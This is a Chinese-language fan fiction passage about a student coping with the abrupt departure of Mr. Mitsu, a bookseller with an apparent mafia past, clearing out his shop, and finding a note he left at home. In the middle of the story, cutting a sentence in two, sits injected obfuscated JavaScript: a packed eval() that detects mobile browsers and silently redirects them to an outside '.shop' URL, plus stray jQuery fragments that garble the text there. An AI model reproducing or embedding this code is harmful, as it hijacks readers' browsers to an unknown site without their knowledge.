人生是无法预料的。
就像刚买的冰淇淋有可能因为堆得太高而掉落大半，新买的三明治可能会被从天而降的鹰叼走，也像蹲下系鞋带却恰好躲过身后劫匪横扫的一棍，去咖啡厅点咖啡和甜品因为正好是第999位客户而获得免单奖励。
半分钟前，他只是在路上一如往常等待同伴，顺便站在屋檐下欣赏片刻雨景。
现在他却无法追上一个道别的人。
他连忙拨通熟稔于心的号码，仅仅过了几秒，通话里传来的冰冷提示音告诉他对方已关机。
他打过去多少次，都是关机。
只能站在雨里，盯着什么都看不见的道路尽头，怅然若失。
……千真万确，这次和以往不一样。
这一次弥津先生不会再回来了，只留下一句让人心脏狂跳的留言。这是他最讨厌的告别。
脑海中意识到的东西好似冬日冷风呼呼吹着，冻结了他的身体。直至同伴来到他身边，问他今天怎么没有在约定好的地方。
他回头，对着同伴扬起笑脸，“抱歉……遇到了一些比较在意的事。”
*
弥津先生留在这里的所有都在慢慢消失。最初的几天，他打出的电话只能收到手机关机的提醒，而差不多一个月之后，电子音由手机关机变成了号码目前未被使用。
书店没有贴彻底闭店的提示，但他知道这次的停业不会有尽头了。
店里的书没有带走，只带走了电子设备。没有人处理店里的东西，也没人打扫，空荡荡的纯白色书桌上很快落了一层肉眼可见的灰。
这样寂寥的日子日复一日，河流不会等到能再度淌过它的人。
他站在店门口，心头颤动。
他进不去书店。但弥津先生是不是忘记了，他手里还有一把弥津先生家里的备用钥匙。弥津先生没问他要回，而他由于自己的私心也没有实话实说。此刻那把钥匙就放在校服外套的衣兜里。
书店的无限期停业，让每个从其门口经过的人都忍不住多看几眼，而他身边的同伴们都是藏不住事的人。
同他一起经过店外，望着店门的樱眼神太复杂。从那一刻起他便明白，樱或许也知道什么。
“嗯。后来我去找过老板，老板说他是……”樱的声音越来越小，“也许他回家了吧，或者找到了更好的工作。开书店的这几年，老板一直在亏钱。亏太多钱，所以老板要工作一段时间挣到可以继续亏的钱……什么的？”
说到最后，樱遥自己都觉得猜测得太离谱。他面前的同伴却因为他的话笑了起来。
“如果事实真是这样，其实还不错呢。”
假如真是这样就好了。
今年的第一场雪落下时，他在店外遇到了有段时间没见的梅宫哥。毕业之后，梅宫哥在全国各地四处跑，但每隔一段时间，总是会回来。
梅宫哥扭过头来看他，和他打招呼。见他想问什么，梅宫哥先一步解释说，“佐久间先生拜托我替他处理店里的书。”
他问，是什么时候拜托的。
“挺早了。一个半月以前，佐久间先生打电话给我，说了他可能要提前离开的事，过了半个月，他说自己要走了。”
梅宫一对青年的离开毫不意外。
毕竟佐久间先生的“工作”性质相当特殊。可佐久间先生为人坦诚负责，相当令人敬佩。能和这样的人打交道，不也算难得一见的奇遇吗。
一同与梅宫一站在店外的人思索着，计算时间。
一个半月以前……比弥津先生离开的日子早半个月，但恰好是那两个二话不说就绑人的“同事”来的那段日子。
努力将这几件事串联起来，他问，“弥津先生有说要怎么处理吗？”
“是说过。”
佐久间先生让他拿走，分给邻居，或者自留，又或者找人把店里的书搬回风铃去。
……搬回风铃？
“是哦。”梅宫一透过玻璃，仔细打量店里满当当的书架，“再怎么说，风铃都是一所‘学校’嘛。”
虽然偏差值看不下去，可每年都能招到学生。这些书，佐久间先生带不走，又不想浪费，搬回风铃是最合适的方式了。
“我们没有钥匙，怎么进去。”他问，总不能像强盗一样把门锁砸开或者卸掉。
这个好说。
“赶紧让开，小子们——救世主在这里哦。”
橘琴叶拿着一串钥匙站到两个熟人背后，埋怨道，“佐久间先生都离开一个月了，你怎么才回来。”
绿萝咖啡厅和这条“河流”——她问了其他朋友，查到佐久间先生书店的名字其实是意大利语里的“河流”一词——也算得上邻居了。
“说起来，佐久间先生去绿萝咖啡厅的那天……”
“怎么了？”
橘琴叶上前一步开锁，语气夸张地说，“超——帅气的！”
幸好她没有素颜见顾客的习惯，不然那天就太丢脸了。
那位先生衣装正式得像要参加商业会议，着实把她吓了一跳。她不懂那些奢侈得要定制的西服，但佐久间先生和他的朋友进店的时候，身上浑然天成的压迫感把店里其他客人吓得鸦雀无声。
若不是稍微了解一点佐久间先生的个性，她恐怕也是噤声的一员。
“他说他要回去工作，店的钥匙拜托我之后交给你。”
认真倾听眼前二人讲话的少年此刻插话问道，“他是说，要回去工作？”
“嗯。他是这么说的，‘工作’。”第一次用这把钥匙的橘琴叶对那位先生的话确定无疑，她还追问，要怎么走呢，这里的交通没有大城市发达。“佐久间先生说，坐飞机走。听起来是很紧急的工作呢。”
店门打开，他们三人进到店里，空气中有股灰尘特有的味道。
要按书店主人的安排，把足有几百本书通通送到风铃高中，算不上难事，但是，橘琴叶考虑得很周到，“我们难道不应该整理一份清单吗。”搬书去学校很简单，但整理书籍清单稍微有些费劲。
他听着二人的交流，推开隔间的门，进去看了一眼。隔间里只剩一张小桌子和没插电的冰箱，其他地方和那张白色的书桌一样宽敞——空荡荡的。弥津先生是什么时候把隔间里的东西都收拾干净的？他百思不得其解。
他打开冰箱前，已经预料到了里面是什么样子。
果然，什么都没了。
没插电的冰箱不会因为拉开冰箱门而亮灯，在昏暗的房间里，冰箱里同样十分“干净”，连冷气的残留都没有。
“清单我来整理，毕竟佐久间先生是专门把这件事托给我的。”
“好吧……我下班之后来帮忙。”
听到隔间外面的对话，他摸着衣兜里的钥匙，做出了一个大胆而任性的决定。但在此之前，请先让他也一起，把书店的书籍清单整理出来。
*
弥津先生总不能一点念想都不给他留，那也太残忍了，就算弥津先生是黑手党组织成员，这么无情的事，弥津先生对他也能做得出来吗。
书店的书被清空了。
全都被送到学校之前，梅宫哥问他要不要自留几本
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16713534|186252||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，“有些书还是很有意思的。”为了学习成绩而看书，和自己感兴趣而看书，是两码事。
于是他拿走了两本曾经借过的书，讲述的是历史上一位名人的经历。弥津先生说，自从被买进店里，这两本书只有他借过。既然如此，就让他变成这些书的唯一拥有者吧。
他把书带回自己家里，在柜子里划出一片放书的位置。
在拿破仑的故事里，有这么一个时期。拿破仑组建军团远征埃及，将占领与胜利写满沿途，然而，仍有反抗者们与其坚持不懈地斗争。
军团的处境陷入艰难之际，拿破仑却因为一些原因秘密离开。
历史上记载，拿破仑出于权力斗争的需要，返回了政局动荡的法国。
……两件事本质不同，但他居然觉得，自己恐怕稍微能够理解当时被丢在埃及的远征军们。
毕竟他们都算被“丢弃”之人。
只不过，具体情况不一样。被“丢弃”的士兵心里满是绝望和愤怒，而他的心情没有这么负面。
其实他还在期待。期待能有一天和弥津先生以更好的方式再会。
他站在曾经住过的房屋外，手放在衣服口袋里，紧紧握着那串钥匙。不经允许进门，他很抱歉，但如果他不这么做，万一错过了什么呢。
即使这只是一串钥匙，但也是他所拥有的最与众不同的东西。关于这里的回忆，全都凝结在这串钥匙上。
假如未来知道他擅自进入自己家的弥津先生会生气——他巴不得如此，这意味着他找到了干脆决绝离开的人——也无所谓，谁让他是个“图谋不轨”的人呢。
门锁在钥匙的拧转下发出声响，他屏住呼吸，轻轻打开了房门。
幸好……
他松了一口气。
幸好，和被弥津先生要求清空的书店不同，家里还什么都没有变。他心情欢快地进到客厅，环顾一周，竟然没有发现有哪里变得和上次来时不同。
先他细细检查过书房和厨房，原来消失的显示屏和其他设备被搬回了家里。他意外发现家里的冰箱还摆着两瓶罐装咖啡，看生产日期是三个月以前。为什么偏偏留两瓶咖啡在冰箱，而且是没插电的冰箱。
他没看懂弥津先生的用意。
他最后才进到自己住过不止一天的那间卧室。
但弥津先生离开的那天曾出现在他身上的症状又一次侵袭了他，他花了很久才找回自己的呼吸。
因此，他在床边呆站了好一阵，才拿起拿起摆在枕头旁边的便签，用目光仔细描摹这一行简短的字。
【想住就住】
……弥津先生分明就是知道钥匙还在他手上，他的小心思早被弥津先生看穿了。
这是弥津先生买下的房产，他是知道的。
他拿着便签回到客厅，重新把所有的房间都检查一遍。可惜除了两瓶咖啡和便签，别的什么发现都没有。
但他够高兴了，弥津先生果然不是那么无情的人。
他唯独可惜弥津先生没办法在这里生活。
这里没有人会因为弥津先生的过去而戴上有色眼镜看他。每一个同弥津先生相处过的人，看到的都是不同以往的东西，见过弥津先生最真实的一面，也不会畏惧与抵触。
他带着便签和咖啡回了家，不仅是弥津先生家里的钥匙，书店的钥匙也落到了他手上——他请梅宫哥交给他保管，这个听起来有点过分的要求被答应了。
弥津先生离开一事在他心头留下的阴霾被一扫而光。
他在心中默默决定，未来，他们一定要“再会”。